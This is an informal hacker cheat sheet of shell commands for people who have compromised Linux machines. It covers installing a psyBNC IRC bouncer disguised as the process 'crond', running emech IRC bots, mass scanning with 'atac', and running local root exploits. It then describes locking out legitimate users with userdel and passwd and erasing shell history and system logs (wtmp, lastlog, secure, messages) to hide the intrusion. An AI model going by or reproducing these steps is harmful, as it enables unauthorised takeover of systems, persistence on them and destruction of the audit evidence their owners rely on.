There are some common commands for Linux Hack Root :
- For psybnc :
tar xzvf psybnc.tar.gz
rm -rf psybnc.tar.gz
cd psybnc
make
pico psybnc.conf ( for change port ; default port is 31337 ) ; if you dont have pico try vi or : echo "PSYBNC.SYSTEM.PORT1=6667">psybnc.conf;echo
"PSYBNC.SYSTEM.HOST1=*">>psybnc.conf;echo "PSYBNC.HOSTALLOWS.ENTRY0=*;*">>psybnc.conf ! You can change port
6667 !
mv psybnc crond
export PATH="."
crond
For emech bots :
tar xzvf mech.tgz
rm -rf mech.tgz
cd mech
pico or vi mech2.usr ( here you set to want hand and host to responde the emech bot )
pico or vi mech3.usr ( here you set to want hand and host to responde the emech bot )
pico mech.set (here you set Fullname , Id , the channel who will bots enter , and cmdchar for bots )
./mech ( 2 bots will start ).
Scanners for Linux :
tar xzvf atac.tgz
rm -rf atac.tgz
cd atac
./ps class class port
mv class.class (tab) uniq.txt
./atac 50 or ./atac 100 ;
Exploits for Linux :
tar xzvf loginx.tar.gz
rm -rf loginx.tar.gz
chmod +x loginx
./loginx
tar xzvf l0cal.tar.gz
cd local
chmod +x *
There you will find a lot of exploits !
When You catch a root with user first you try to take Linux Root Right with loginx !
If you take Linux RooT Right first try to secure the root :
Try to rooted the Linux RooT
And give cat /etc/passwd to see the users
userdel to delete the respective user from root
passwd username to change the password for user
ATTENTION : When you tipe cd /home and ls There will not see all user from root more shure is to try : cat /etc/passwd
!
If you dont take Linux Root Right After you make your work on user root you need to delete the finger prents like this
:
unset HISTFILE
unset HISTSAVE
history -n
unset WATCH
export HISTFILE=/dev/null
rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp -
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
cd /var/log/
rm -rf wtmp
rm -rf secure
rm -rf lastlog
rm -rf messages
touch
messagess
touch wtmp
touch secure
touch lastlog
cd /root
rm -rf .bash_history
touch .bash_history